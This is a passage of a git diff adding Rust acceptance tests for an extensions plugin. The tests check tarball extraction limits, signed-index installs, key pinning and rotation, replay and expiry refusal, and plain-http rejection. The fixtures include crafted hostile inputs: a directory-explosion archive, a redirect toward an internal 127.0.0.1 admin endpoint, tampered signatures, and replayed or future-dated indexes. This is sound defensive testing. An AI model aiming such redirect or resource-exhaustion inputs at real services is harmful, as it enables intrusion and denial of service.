t.long_dir(&format!("package/{}", "n".repeat(limits.max_path_bytes + 1)));+ assert!(matches!(rejected(t.tgz()), BundleError::PathTooLong { .. }));+}++#[test]+fn shares_ancestors_between_files() {+ // Many files under one deep directory: each ancestor is created once and+ // the files all land.+ let mut t = Tarball::with_package_json();+ let dir_path = "a/".repeat(20);+ for i in 0..200 {+ t.file(&format!("package/{dir_path}f{i}.js"), b"x");+ }+ let dir = tempfile::tempdir().unwrap();+ let dest = dir.path().join("out");+ let extracted = run(&t.tgz(), &dest).unwrap();+ assert_eq!(extracted.files.len(), 201);+ assert!(dest.join(&dir_path).join("f199.js").is_file());+}++#[test]+fn caps_implied_directories_just_under_the_path_caps() {+ // Within the depth and length caps, distinct deep paths still imply tens+ // of thousands of directories; the directory cap bounds that work.+ let limits = Limits::default();+ let mut t = Tarball::with_package_json();+ for i in 0..1999 {+ t.long_file(&format!("package/d{i}/{}x.js", "a/".repeat(limits.max_depth - 2)), b"");+ }+ let tgz = t.tgz();+ let started = std::time::Instant::now();+ let err = rejected(tgz);+ assert!(matches!(err, BundleError::TooManyDirectories { .. }), "{err}");+ // The unbounded case took ~34 s; 10 s leaves room for slow CI file+ // systems (NTFS on Windows runners took 2.3 s) while still catching it.+ assert!(started.elapsed() < std::time::Duration::from_secs(10), "{:?}", started.elapsed());+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/tests/index.rs b/src-tauri/plugins/tauri-plugin-extensions/tests/index.rsnew file mode 100644index 000000000..9c114db44--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/tests/index.rs@@ -0,0 +1,733 @@+//! Acceptance tests of index installs: fetch against a local listener,+//! the listing/manifest checks, the source store and what the registry+//! records.++mod common;++use common::*;+use serde_json::json;+use tauri_plugin_extensions::catalog;+use tauri_plugin_extensions::error::Error;+use base64::engine::general_purpose::STANDARD;+use base64::Engine as _;+use ed25519_dalek::{Signer, SigningKey};+use tauri_plugin_extensions::error::SignatureError;+use tauri_plugin_extensions::index::{self, FetchedIndex};+use tauri_plugin_extensions::install;+use tauri_plugin_extensions::integrity::sha512_sri;+use tauri_plugin_extensions::registry::{self, Source};+use tauri_plugin_extensions::sources::IndexSourceEntry;+use tauri_plugin_extensions::state::{ExtensionsState, StageSlot};+use tokio::io::{AsyncReadExt, AsyncWriteExt};++const ID: &str = "acme.hello";++fn listing(tarball: &[u8], permissions: &[&str]) -> FetchedIndex {+ FetchedIndex {+ index: index::parse(&listing_bytes(tarball, permissions)).unwrap(),+ signed: false,+ }+}++fn listing_bytes(tarball: &[u8], permissions: &[&str]) -> Vec<u8> {+ serde_json::to_vec(&json!({+ "schema": 1,+ "generatedAt": "2026-10-24T00:00:00Z",+ "extensions": [{+ "id": ID, "displayName": "Hello", "publisher": "Acme",+ "versions": [{+ "version": "0.1.0",+ "tarball": "https://cdn.example.com/hello-0.1.0.tgz",+ "integrity": sha512_sri(tarball),+ "apiVersion": "^1.0.0",+ "engines": { "jan": ">=0.8.0" },+ "permissions": permissions,+ }]+ }]+ }))+ .unwrap()+}++fn slot(state: &ExtensionsState) -> StageSlot {+ StageSlot::reserve(state).unwrap()+}++fn source() -> IndexSourceEntry {+ IndexSourceEntry {+ id: "0123456789abcdef0123456789abcdef".into(),+ name: "Acme index".into(),+ url: "https://index.example.com/index.json".into(),+ public_key: None,+ added_at: "2026-10-24T00:00:00Z".into(),+ last_generated_at: None,+ }+}++#[test]+fn stages_and_records_an_index_install() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let tarball = extension(ID, "0.1.0", &["ui:notify", "tools"]);+ // Order does not matter, the set does.+ let index = listing(&tarball, &["tools", "ui:notify"]);+ let staged = install::stage_index_tarball(&state, slot(&state), &source(), &index, ID, "0.1.0", &tarball).unwrap();+ assert!(staged.integrity_checked);+ assert!(!staged.verified);+ assert!(matches!(&staged.source, Source::Index { source_name, .. } if source_name == "Acme index"));+ install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify", "tools"])).unwrap();++ let entry = ®istry::load(root.path()).unwrap().registry.extensions[ID];+ let value = serde_json::to_value(entry).unwrap();+ assert_eq!(+ value["source"],+ json!({+ "kind": "index",+ "sourceId": "0123456789abcdef0123456789abcdef",+ "sourceName": "Acme index",+ "url": "https://index.example.com/index.json",+ "tarball": "https://cdn.example.com/hello-0.1.0.tgz",+ "integrity": sha512_sri(&tarball),+ })+ );+ assert_eq!(value["integrityChecked"], true);+ assert_eq!(value["verified"], false);+}++#[test]+fn a_manifest_index_permission_mismatch_is_rejected() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ for listed in [&["ui:notify"][..], &["ui:notify", "tools"][..]] {+ let tarball = extension(ID, "0.1.0", &["ui:notify", "network:*"]);+ let index = listing(&tarball, listed);+ let err = install::stage_index_tarball(&state, slot(&state), &source(), &index, ID, "0.1.0", &tarball).unwrap_err();+ assert!(matches!(err, Error::Tampered(_)), "{listed:?}: {err}");+ }+ let staging = root.path().join(".staging");+ assert_eq!(std::fs::read_dir(&staging).map(|d| d.count()).unwrap_or(0), 0);+}++#[test]+fn an_id_or_version_mismatch_is_rejected() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ for tarball in [extension("acme.other", "0.1.0", &["ui:notify"]), extension(ID, "0.1.1", &["ui:notify"])] {+ let index = listing(&tarball, &["ui:notify"]);+ let err = install::stage_index_tarball(&state, slot(&state), &source(), &index, ID, "0.1.0", &tarball).unwrap_err();+ assert!(matches!(err, Error::Tampered(_)), "{err}");+ }+}++#[test]+fn a_tarball_that_does_not_match_its_pin_is_rejected() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let tarball = extension(ID, "0.1.0", &["ui:notify"]);+ let index = listing(&extension(ID, "0.1.0", &["tools"]), &["ui:notify"]);+ let err = install::stage_index_tarball(&state, slot(&state), &source(), &index, ID, "0.1.0", &tarball).unwrap_err();+ assert!(matches!(err, Error::Integrity(_)), "{err}");+}++#[test]+fn the_source_store_adds_removes_and_rejects_plain_http() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ assert!(catalog::list_sources(&state).unwrap().sources.is_empty());+ let added = catalog::add_source(&state, "https://index.example.com/index.json", "Acme", None).unwrap();+ assert!(matches!(+ catalog::add_source(&state, "http://index.example.com/index.json", "Plain", None),+ Err(Error::Invalid(_))+ ));+ assert_eq!(catalog::list_sources(&state).unwrap().sources, vec![added.clone()]);+ assert!(root.path().join("sources.json").is_file());+ catalog::remove_source(&state, &added.id).unwrap();+ assert!(catalog::list_sources(&state).unwrap().sources.is_empty());+}++/// Serves `body` once on 127.0.0.1 with `status`.+async fn serve_once(status: &'static str, body: Vec<u8>) -> u16 {+ let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();+ let port = listener.local_addr().unwrap().port();+ tokio::spawn(async move {+ let (mut socket, _) = listener.accept().await.unwrap();+ let mut buf = vec![0u8; 4096];+ let _ = socket.read(&mut buf).await.unwrap();+ let head = format!("HTTP/1.1 {status}\r\nContent-Length: {}\r\nConnection: close\r\n\r\n", body.len());+ socket.write_all(head.as_bytes()).await.unwrap();+ socket.write_all(&body).await.unwrap();+ socket.shutdown().await.ok();+ });+ port+}++#[tokio::test]+async fn fetches_and_caps_over_a_local_listener() {+ let client = index::client().unwrap();+ let doc = serde_json::to_vec(&json!({ "schema": 1, "generatedAt": "x", "extensions": [] })).unwrap();+ let port = serve_once("200 OK", doc).await;+ let bytes = index::get_capped(+ &client,+ &format!("http://127.0.0.1:{port}/index.json"),+ index::MAX_INDEX_BYTES,+ index::INDEX_TIMEOUT,+ )+ .await+ .unwrap();+ assert!(index::parse(&bytes).unwrap().extensions.is_empty());++ let port = serve_once("200 OK", vec![b' '; 4096]).await;+ let err = index::get_capped(&client, &format!("http://127.0.0.1:{port}/"), 1024, index::INDEX_TIMEOUT)+ .await+ .unwrap_err();+ assert!(matches!(err, Error::TooLarge(_)), "{err}");++ let port = serve_once("404 Not Found", Vec::new()).await;+ let err = index::get_capped(&client, &format!("http://127.0.0.1:{port}/"), 1024, index::INDEX_TIMEOUT)+ .await+ .unwrap_err();+ assert!(matches!(err, Error::Network(_)), "{err}");+}++#[tokio::test]+async fn catalog_and_index_installs_refuse_plain_http() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ // A source can only be https, so a tampered sources.json is the only+ // way to point one at http; the entry is dropped rather than used.+ std::fs::write(+ root.path().join("sources.json"),+ r#"{"schema":1,"sources":[{"id":"s","name":"x","url":"http://127.0.0.1:9/i.json","addedAt":"t"}]}"#,+ )+ .unwrap();+ assert!(matches!(catalog::get_catalog(&state, "s").await, Err(Error::NotFound(_))));++ let tarball = extension(ID, "0.1.0", &["ui:notify"]);+ let mut listed = listing(&tarball, &["ui:notify"]).index.extensions[0].versions[0].clone();+ listed.tarball = "http://127.0.0.1:9/hello.tgz".into();+ let err = index::download_tarball(&index::client().unwrap(), &listed).await.unwrap_err();+ assert!(matches!(err, Error::Invalid(_)), "{err}");+}++#[test]+fn an_index_update_of_a_bundle_install_diffs_against_its_grants() {+ let root = tempfile::tempdir().unwrap();+ let files = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let path = write(files.path(), "hello.tgz", &extension(ID, "0.0.9", &["ui:notify"]));+ let staged = install::stage_bundle(&state, &path).unwrap();+ install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"])).unwrap();++ let tarball = extension(ID, "0.1.0", &["ui:notify", "tools"]);+ let index = listing(&tarball, &["ui:notify", "tools"]);+ let staged = install::stage_index_tarball(&state, slot(&state), &source(), &index, ID, "0.1.0", &tarball).unwrap();+ let existing = staged.existing.clone().unwrap();+ assert_eq!(existing.version, "0.0.9");+ assert!(matches!(existing.source, Source::Bundle { .. }), "{:?}", existing.source);+ assert!(!existing.verified);+ assert_eq!(staged.permission_diff.added, strings(&["tools"]));+ let installed = install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify", "tools"])).unwrap();+ assert!(matches!(installed.source, Source::Index { .. }));+ assert!(matches!(+ registry::load(root.path()).unwrap().registry.extensions[ID].previous_record.as_ref().unwrap().source,+ Source::Bundle { .. }+ ));+}++#[tokio::test]+async fn index_and_tarball_fetches_refuse_redirects_to_ip_literals() {+ // A second listener stands for an internal service; the redirect must+ // never reach it, whatever its scheme.+ let internal = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();+ let internal_port = internal.local_addr().unwrap().port();+ let client = index::client().unwrap();+ for scheme in ["https", "http"] {+ let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();+ let port = listener.local_addr().unwrap().port();+ let location = format!("{scheme}://127.0.0.1:{internal_port}/admin");+ tokio::spawn(async move {+ let (mut socket, _) = listener.accept().await.unwrap();+ let mut buf = vec![0u8; 4096];+ let _ = socket.read(&mut buf).await.unwrap();+ let head = format!("HTTP/1.1 302 Found\r\nLocation: {location}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");+ socket.write_all(head.as_bytes()).await.unwrap();+ socket.shutdown().await.ok();+ });+ let err = index::get_capped(&client, &format!("http://127.0.0.1:{port}/index.json"), 1024, index::INDEX_TIMEOUT)+ .await+ .unwrap_err();+ assert!(matches!(err, Error::Network(_)), "{err}");+ }+ let reached = tokio::time::timeout(std::time::Duration::from_millis(200), internal.accept()).await;+ assert!(reached.is_err(), "a redirect reached the internal listener");+}++/// A fixed test keypair: never use outside tests.+fn signing_key(seed: u8) -> SigningKey {+ SigningKey::from_bytes(&[seed; 32])+}++fn public_key(key: &SigningKey) -> String {+ STANDARD.encode(key.verifying_key().to_bytes())+}++/// The contents of a `.sig` file: base64 of the signature, newline.+fn sign(key: &SigningKey, bytes: &[u8]) -> Vec<u8> {+ format!("{}\n", STANDARD.encode(key.sign(bytes).to_bytes())).into_bytes()+}++/// One served path: (path, status line, body).+type Route = (&'static str, &'static str, Vec<u8>);++/// Serves `routes` (path, status, body) on 127.0.0.1 until the test ends;+/// any other path is a 404. Returns the base URL.+async fn serve(routes: Vec<Route>) -> String {+ let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();+ let port = listener.local_addr().unwrap().port();+ tokio::spawn(async move {+ loop {+ let Ok((mut socket, _)) = listener.accept().await else { return };+ let mut buf = vec![0u8; 4096];+ let n = socket.read(&mut buf).await.unwrap_or(0);+ let request = String::from_utf8_lossy(&buf[..n]).into_owned();+ let path = request.split_whitespace().nth(1).unwrap_or("").to_string();+ let (status, body) = routes+ .iter()+ .find(|(p, _, _)| *p == path)+ .map(|(_, s, b)| (*s, b.clone()))+ .unwrap_or(("404 Not Found", Vec::new()));+ let head = format!("HTTP/1.1 {status}\r\nContent-Length: {}\r\nConnection: close\r\n\r\n", body.len());+ let _ = socket.write_all(head.as_bytes()).await;+ let _ = socket.write_all(&body).await;+ let _ = socket.shutdown().await;+ }+ });+ format!("http://127.0.0.1:{port}")+}++async fn fetch_at(base: &str, key: Option<&str>) -> Result<FetchedIndex, Error> {+ let url = url::Url::parse(&format!("{base}/index.json")).unwrap();+ index::fetch_index_at(&index::document_client().unwrap(), &url, key).await+}++fn keyed_source(key: &str) -> IndexSourceEntry {+ IndexSourceEntry {+ public_key: Some(key.to_string()),+ ..source()+ }+}++#[tokio::test]+async fn a_keyed_source_installs_verified_from_a_signed_index() {+ let key = signing_key(7);+ let tarball = extension(ID, "0.1.0", &["ui:notify"]);+ let doc = listing_bytes(&tarball, &["ui:notify"]);+ let base = serve(vec![+ ("/index.json", "200 OK", doc.clone()),+ ("/index.json.sig", "200 OK", sign(&key, &doc)),+ ])+ .await;+ let fetched = fetch_at(&base, Some(&public_key(&key))).await.unwrap();+ assert!(fetched.signed);++ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let source = keyed_source(&public_key(&key));+ let staged = install::stage_index_tarball(&state, slot(&state), &source, &fetched, ID, "0.1.0", &tarball).unwrap();+ assert!(staged.verified && staged.integrity_checked);+ let installed = install::confirm_install(&state, &staged.stage_id, &strings(&["ui:notify"])).unwrap();+ assert!(installed.verified);+ let value = serde_json::to_value(®istry::load(root.path()).unwrap().registry.extensions[ID]).unwrap();+ assert_eq!(value["verified"], true);+ assert_eq!(value["integrityChecked"], true);+ assert!(install::list(&state).unwrap().extensions[0].verified);+}++#[tokio::test]+async fn an_unkeyed_source_reads_unsigned_and_never_verifies() {+ let tarball = extension(ID, "0.1.0", &["ui:notify"]);+ let doc = listing_bytes(&tarball, &["ui:notify"]);+ // A .sig that would verify is ignored: without a pinned key there is+ // nothing to trust it against.+ let key = signing_key(7);+ let base = serve(vec![+ ("/index.json", "200 OK", doc.clone()),+ ("/index.json.sig", "200 OK", sign(&key, &doc)),+ ])+ .await;+ let fetched = fetch_at(&base, None).await.unwrap();+ assert!(!fetched.signed);+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let staged = install::stage_index_tarball(&state, slot(&state), &source(), &fetched, ID, "0.1.0", &tarball).unwrap();+ assert!(!staged.verified && staged.integrity_checked);+}++#[tokio::test]+async fn a_keyed_source_rejects_a_bad_or_missing_signature() {+ let key = signing_key(7);+ let pinned = public_key(&key);+ let doc = listing_bytes(&extension(ID, "0.1.0", &["ui:notify"]), &["ui:notify"]);+ let mut tampered = doc.clone();+ let at = tampered.iter().position(|b| *b == b'H').unwrap();+ tampered[at] = b'J';+ let good = String::from_utf8(sign(&key, &doc)).unwrap();+ let cases: Vec<(&str, Vec<Route>, SignatureError)> = vec![+ (+ "tampered index byte",+ vec![("/index.json", "200 OK", tampered), ("/index.json.sig", "200 OK", sign(&key, &doc))],+ SignatureError::Mismatch,+ ),+ (+ "signed by another key",+ vec![("/index.json", "200 OK", doc.clone()), ("/index.json.sig", "200 OK", sign(&signing_key(8), &doc))],+ SignatureError::Mismatch,+ ),+ (+ "truncated signature",+ vec![("/index.json", "200 OK", doc.clone()), ("/index.json.sig", "200 OK", good.trim().as_bytes()[..60].to_vec())],+ SignatureError::Malformed,+ ),+ (+ "non-base64 signature",+ vec![("/index.json", "200 OK", doc.clone()), ("/index.json.sig", "200 OK", b"%%% not a signature %%%".to_vec())],+ SignatureError::Malformed,+ ),+ (+ "missing .sig",+ vec![("/index.json", "200 OK", doc.clone())],+ SignatureError::Missing(String::new()),+ ),+ (+ "redirected .sig",+ vec![("/index.json", "200 OK", doc.clone()), ("/index.json.sig", "302 Found", Vec::new())],+ SignatureError::Missing(String::new()),+ ),+ ];+ for (what, routes, expected) in cases {+ let base = serve(routes).await;+ let err = fetch_at(&base, Some(&pinned)).await.unwrap_err();+ let ok = match (&err, &expected) {+ (Error::Signature(SignatureError::Missing(_)), SignatureError::Missing(_)) => true,+ (Error::Signature(got), want) => got == want,+ _ => false,+ };+ assert!(ok, "{what}: {err}");+ assert_eq!(err.kind(), "signature", "{what}");+ }+}++#[test]+fn a_bad_signature_rejects_before_the_index_is_parsed() {+ let key = signing_key(7);+ // Not even JSON: a keyed source must fail on the signature, not on+ // parsing, so nothing of an unauthenticated index is ever interpreted.+ let err = index::verify_and_parse(b"{ not json", Some(Ok(sign(&signing_key(8), b"x"))), Some(&public_key(&key)))+ .unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::Mismatch)), "{err}");+ let err = index::verify_and_parse(b"{ not json", None, Some(&public_key(&key))).unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::Missing(_))), "{err}");+ // A good signature over a bad document still fails to parse.+ let err = index::verify_and_parse(b"{ not json", Some(Ok(sign(&key, b"{ not json"))), Some(&public_key(&key)))+ .unwrap_err();+ assert!(matches!(err, Error::Invalid(_)), "{err}");+}++#[test]+fn a_verified_flag_needs_a_pinned_integrity_too() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let tarball = extension(ID, "0.1.0", &["ui:notify"]);+ let staged = install::stage_tarball(+ &state,+ slot(&state),+ &tarball,+ Source::Bundle { file_name: "x.tgz".into(), sha512: sha512_sri(&tarball) },+ install::Trust { integrity_checked: false, verified: true },+ None,+ )+ .unwrap();+ assert!(!staged.verified);+}++fn rotating_index(next: Option<&str>) -> Vec<u8> {+ let mut doc: serde_json::Value = serde_json::from_slice(&listing_bytes(&extension(ID, "0.1.0", &[]), &[])).unwrap();+ if let Some(next) = next {+ doc["nextPublicKey"] = json!(next);+ }+ serde_json::to_vec(&doc).unwrap()+}++#[test]+fn accepting_a_next_public_key_repins_only_on_explicit_confirmation() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let old = signing_key(7);+ let new = signing_key(9);+ let added = catalog::add_source(&state, "https://index.example.com/index.json", "Acme", Some(&public_key(&old))).unwrap();+ let doc = rotating_index(Some(&public_key(&new)));+ let fetched = index::verify_and_parse(&doc, Some(Ok(sign(&old, &doc))), Some(&public_key(&old))).unwrap();++ // Reading the catalog only offers the key; nothing is re-pinned.+ let view = catalog::catalog_of(&added, fetched.clone());+ assert!(view.signed);+ assert_eq!(view.next_public_key.as_deref(), Some(public_key(&new).as_str()));+ assert_eq!(catalog::list_sources(&state).unwrap().sources[0].public_key.as_deref(), Some(public_key(&old).as_str()));++ // Some other key than the one offered is refused.+ let err = catalog::apply_rotation(&state, &added, &fetched, &public_key(&signing_key(10))).unwrap_err();+ assert!(matches!(err, Error::Denied(_)), "{err}");+ // The user's confirmation re-pins exactly the offered key.+ let rotated = catalog::apply_rotation(&state, &added, &fetched, &public_key(&new)).unwrap();+ assert_eq!(rotated.public_key.as_deref(), Some(public_key(&new).as_str()));+ assert_eq!(catalog::list_sources(&state).unwrap().sources, vec![rotated.clone()]);++ // The old key's signatures no longer verify; the new key's do.+ let next_doc = rotating_index(None);+ assert!(index::verify_and_parse(&next_doc, Some(Ok(sign(&old, &next_doc))), Some(&public_key(&new))).is_err());+ assert!(index::verify_and_parse(&next_doc, Some(Ok(sign(&new, &next_doc))), Some(&public_key(&new))).unwrap().signed);++ // A stale offer (the key was rotated since) changes nothing.+ let err = catalog::apply_rotation(&state, &added, &fetched, &public_key(&new)).unwrap_err();+ assert!(matches!(err, Error::Denied(_)), "{err}");+}++#[test]+fn an_unsigned_index_cannot_offer_a_key() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let next = public_key(&signing_key(9));+ let added = catalog::add_source(&state, "https://index.example.com/index.json", "Open", None).unwrap();+ let doc = rotating_index(Some(&next));+ let fetched = index::verify_and_parse(&doc, None, None).unwrap();+ let view = catalog::catalog_of(&added, fetched.clone());+ assert!(!view.signed);+ assert_eq!(view.next_public_key, None);+ let err = catalog::apply_rotation(&state, &added, &fetched, &next).unwrap_err();+ assert!(matches!(err, Error::Denied(_)), "{err}");+ assert_eq!(catalog::list_sources(&state).unwrap().sources[0].public_key, None);+}++#[test]+fn provenance_and_next_public_key_are_checked_and_kept() {+ let tarball = extension(ID, "0.1.0", &[]);+ let mut doc: serde_json::Value = serde_json::from_slice(&listing_bytes(&tarball, &[])).unwrap();+ doc["extensions"][0]["versions"][0]["provenance"] = json!("https://search.sigstore.dev/?hash=abc");+ let index = index::parse(&serde_json::to_vec(&doc).unwrap()).unwrap();+ assert_eq!(index.extensions[0].versions[0].provenance.as_deref(), Some("https://search.sigstore.dev/?hash=abc"));+ let mut bad = doc.clone();+ bad["extensions"][0]["versions"][0]["provenance"] = json!("http://plain.example.com/");+ assert!(index::parse(&serde_json::to_vec(&bad).unwrap()).is_err());+ let mut bad = doc.clone();+ bad["nextPublicKey"] = json!("AAAA");+ assert!(index::parse(&serde_json::to_vec(&bad).unwrap()).is_err());+}++/// The index document of `listing_bytes` with `generatedAt` and `expires`.+fn dated_index(generated_at: &str, expires: Option<&str>) -> Vec<u8> {+ let mut doc: serde_json::Value = serde_json::from_slice(&listing_bytes(&extension(ID, "0.1.0", &[]), &[])).unwrap();+ doc["generatedAt"] = json!(generated_at);+ if let Some(expires) = expires {+ doc["expires"] = json!(expires);+ }+ serde_json::to_vec(&doc).unwrap()+}++/// Seconds since the epoch of 2026-10-24T12:00:00Z.+const NOON: u64 = 1_792_843_200;++fn stored(state: &ExtensionsState) -> IndexSourceEntry {+ catalog::list_sources(state).unwrap().sources[0].clone()+}++#[test]+fn a_replayed_older_signed_index_is_refused() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let key = signing_key(7);+ let added = catalog::add_source(&state, "https://index.example.com/index.json", "Acme", Some(&public_key(&key))).unwrap();+ let signed = |doc: &[u8]| index::verify_and_parse(doc, Some(Ok(sign(&key, doc))), Some(&public_key(&key))).unwrap();+ let old = signed(&dated_index("2026-10-20T00:00:00Z", None));+ let new = signed(&dated_index("2026-10-22T00:00:00+02:00", None));++ // The first signed index is accepted and its generatedAt recorded.+ catalog::accept_index(&state, &added, &new, NOON).unwrap();+ assert_eq!(stored(&state).last_generated_at.as_deref(), Some("2026-10-22T00:00:00+02:00"));+ // Fetching the same index again is fine.+ catalog::accept_index(&state, &stored(&state), &new, NOON).unwrap();+ // The older one, validly signed by the same key, is a replay. Also+ // checked against the store, not only the caller's copy of the entry.+ for entry in [stored(&state), added.clone()] {+ let err = catalog::accept_index(&state, &entry, &old, NOON).unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::Rollback { .. })), "{err}");+ assert_eq!(err.kind(), "signature");+ }+ assert_eq!(stored(&state).last_generated_at.as_deref(), Some("2026-10-22T00:00:00+02:00"));+ // A newer one moves the mark forward; compared as instants, not text.+ let newer = signed(&dated_index("2026-10-21T23:00:00Z", None));+ catalog::accept_index(&state, &stored(&state), &newer, NOON).unwrap();+ assert_eq!(stored(&state).last_generated_at.as_deref(), Some("2026-10-21T23:00:00Z"));+ // The mark survives a restart.+ let reopened = common::state(root.path());+ let err = catalog::accept_index(&reopened, &stored(&reopened), &new, NOON).unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::Rollback { .. })), "{err}");+}++#[test]+fn an_expired_or_undated_signed_index_is_refused() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let key = signing_key(7);+ let added = catalog::add_source(&state, "https://index.example.com/index.json", "Acme", Some(&public_key(&key))).unwrap();+ let signed = |doc: &[u8]| index::verify_and_parse(doc, Some(Ok(sign(&key, doc))), Some(&public_key(&key))).unwrap();++ let expired = signed(&dated_index("2026-10-20T00:00:00Z", Some("2026-10-24T11:59:59Z")));+ let err = catalog::accept_index(&state, &added, &expired, NOON).unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::Expired(_))), "{err}");+ assert_eq!(stored(&state).last_generated_at, None);+ let at_expiry = signed(&dated_index("2026-10-20T00:00:00Z", Some("2026-10-24T12:00:00Z")));+ assert!(catalog::accept_index(&state, &added, &at_expiry, NOON).is_err());++ let valid = signed(&dated_index("2026-10-20T00:00:00Z", Some("2026-10-25T00:00:00Z")));+ catalog::accept_index(&state, &added, &valid, NOON).unwrap();++ for (generated, expires) in [("yesterday", None), ("2026-10-20T00:00:00Z", Some("soon"))] {+ let undated = signed(&dated_index(generated, expires));+ let err = catalog::accept_index(&state, &stored(&state), &undated, NOON).unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::BadTimestamp(_))), "{err}");+ }+}++#[test]+fn a_future_dated_signed_index_is_refused_and_leaves_the_mark() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let key = signing_key(7);+ let added = catalog::add_source(&state, "https://index.example.com/index.json", "Acme", Some(&public_key(&key))).unwrap();+ let signed = |doc: &[u8]| index::verify_and_parse(doc, Some(Ok(sign(&key, doc))), Some(&public_key(&key))).unwrap();++ // Accepted, it would refuse every later index as a replay.+ for generated in ["9999-12-31T23:59:59Z", "2026-10-25T12:00:01Z"] {+ let future = signed(&dated_index(generated, None));+ let err = catalog::accept_index(&state, &added, &future, NOON).unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::FromTheFuture(_))), "{err}");+ assert_eq!(err.kind(), "signature");+ assert_eq!(stored(&state).last_generated_at, None);+ }+ // A clock running a little behind the publisher's is tolerated.+ let skewed = signed(&dated_index("2026-10-25T12:00:00Z", None));+ catalog::accept_index(&state, &added, &skewed, NOON).unwrap();+ // And the source keeps taking normal newer indexes once time catches up.+ let later = signed(&dated_index("2026-10-26T00:00:00Z", None));+ catalog::accept_index(&state, &stored(&state), &later, NOON + 2 * 86_400).unwrap();+ assert_eq!(stored(&state).last_generated_at.as_deref(), Some("2026-10-26T00:00:00Z"));+}++#[test]+fn an_unsigned_index_is_not_dated_or_recorded() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let added = catalog::add_source(&state, "https://index.example.com/index.json", "Open", None).unwrap();+ let doc = dated_index("whenever", Some("2000-01-01T00:00:00Z"));+ let fetched = index::verify_and_parse(&doc, None, None).unwrap();+ catalog::accept_index(&state, &added, &fetched, NOON).unwrap();+ assert_eq!(stored(&state).last_generated_at, None);+}++#[tokio::test]+async fn a_replayed_index_served_over_the_wire_is_refused() {+ let key = signing_key(7);+ let tarball = extension(ID, "0.1.0", &["ui:notify"]);+ let doc = listing_bytes(&tarball, &["ui:notify"]);+ let base = serve(vec![+ ("/index.json", "200 OK", doc.clone()),+ ("/index.json.sig", "200 OK", sign(&key, &doc)),+ ])+ .await;+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ // The local listener is plain http, which add_source refuses; write+ // the store as a later one would look, with a newer index accepted.+ std::fs::write(+ root.path().join("sources.json"),+ serde_json::to_vec(&json!({+ "schema": 1,+ "sources": [{+ "id": "s", "name": "Acme", "url": "https://index.example.com/index.json",+ "publicKey": public_key(&key), "addedAt": "t",+ "lastGeneratedAt": "2026-10-25T00:00:00Z",+ }],+ }))+ .unwrap(),+ )+ .unwrap();+ // The signature verifies; only the freshness check refuses it. The+ // catalog, `stage_from_index` and `accept_next_key` all fetch through+ // `catalog::fetch`, which runs this check.+ let fetched = fetch_at(&base, Some(&public_key(&key))).await.unwrap();+ assert!(fetched.signed);+ let err = catalog::accept_index(&state, &stored(&state), &fetched, NOON).unwrap_err();+ assert!(matches!(err, Error::Signature(SignatureError::Rollback { .. })), "{err}");+}++#[test]+fn removing_a_keyed_source_remembers_its_pin() {+ let root = tempfile::tempdir().unwrap();+ let state = state(root.path());+ let key = public_key(&signing_key(7));+ let url = "https://index.example.com/index.json";+ let keyed = catalog::add_source(&state, url, "Acme", Some(&key)).unwrap();+ let open = catalog::add_source(&state, "https://open.example.com/i.json", "Open", None).unwrap();+ catalog::remove_source(&state, &open.id).unwrap();+ assert!(catalog::list_sources(&state).unwrap().removed_pins.is_empty());++ catalog::remove_source(&state, &keyed.id).unwrap();+ let pins = catalog::list_sources(&state).unwrap().removed_pins;+ assert_eq!(pins.len(), 1);+ assert_eq!((pins[0].url.as_str(), pins[0].public_key.as_str()), (url, key.as_str()));++ // Re-added without a key, the pin stays on record for the next warning.+ let readded = catalog::add_source(&state, url, "Acme", None).unwrap();+ assert_eq!(catalog::list_sources(&state).unwrap().removed_pins.len(), 1);+ catalog::remove_source(&state, &readded.id).unwrap();+ // Re-added with a key, the removal is settled.+ catalog::add_source(&state, url, "Acme", Some(&key)).unwrap();+ assert!(catalog::list_sources(&state).unwrap().removed_pins.is_empty());+}++#[test]+fn one_bad_source_entry_is_dropped_and_reported() {+ let root = tempfile::tempdir().unwrap();+ let key = public_key(&signing_key(7));+ let weak = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";+ std::fs::write(+ root.path().join("sources.json"),+ serde_json::to_vec(&json!({+ "schema": 1,+ "sources": [+ { "id": "a", "name": "Keyed", "url": "https://a.example.com/i.json", "publicKey": key, "addedAt": "t" },+ { "id": "b", "name": "Weak", "url": "https://b.example.com/i.json", "publicKey": weak, "addedAt": "t" },+ { "id": "c", "name": "Open", "url": "https://c.example.com/i.json", "addedAt": "t" },+ { "id": "d", "name": 7 